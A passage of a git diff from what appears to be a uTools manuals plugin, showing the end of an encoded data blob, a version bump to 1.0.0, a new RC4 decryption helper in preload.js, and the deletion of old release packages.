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 \ No newline at end of file diff --git a/plugin.json b/plugin.json index 86bd1a83..4d2948a7 100644 --- a/plugin.json +++ b/plugin.json @@ -4,7 +4,7 @@ "main": "index.html", "homepage": "https://github.com/fofolee/uTools-Manuals", "publishPage": "https://yuanliao.info/d/356", - "version": "0.0.4", + "version": "1.0.0", "author": "云之轩", "logo": "logo.png", "platform": [ "win32", "darwin", "linux" ], diff --git a/preload.js b/preload.js index c873182c..a0f4954d 100644 --- a/preload.js +++ b/preload.js @@ -1,5 +1,6 @@ const { clipboard } = require('electron'); const { exec } = require('child_process'); +const crypto = require('crypto') const robot = utools.robot //-------checkUpdate------ @@ -70,4 +71,11 @@ copy = () => { paste = () => { var ctlKey = isWin ? 'control' : 'command'; robot.keyTap('v', ctlKey); +} + +rc4 = (text, key) => { + var decipher = crypto.createDecipher('rc4', key); + var result = decipher.update(text, 'base64', 'utf8'); + result += decipher.final('utf8'); + return result } \ No newline at end of file diff --git a/releases/Manuals-0.0.1.upx b/releases/Manuals-0.0.1.upx deleted file mode 100644 index 14288bb8..00000000 Binary files a/releases/Manuals-0.0.1.upx and /dev/null differ diff --git a/releases/Manuals-0.0.2.upx b/releases/Manuals-0.0.2.upx deleted file mode 100644 index 877ffa04..00000000 Binary files a/releases/Manuals-0.0.2.upx and /dev/null differ diff --git a/releases/Manuals-0.0.3.upx b/releases/Manuals-0.0.3.upx deleted file mode 100644 index ff14a063..00000000 Binary files a/releases/Manuals-0.0.3.upx and /dev/null differ diff --git a/releases/Manuals-0.0.4.upx b/releases/Manuals-0.0.4.upx deleted file mode 100644 index e038ac29..00000000 Binary files a/releases/Manuals-0.0.4.upx and /dev/null differ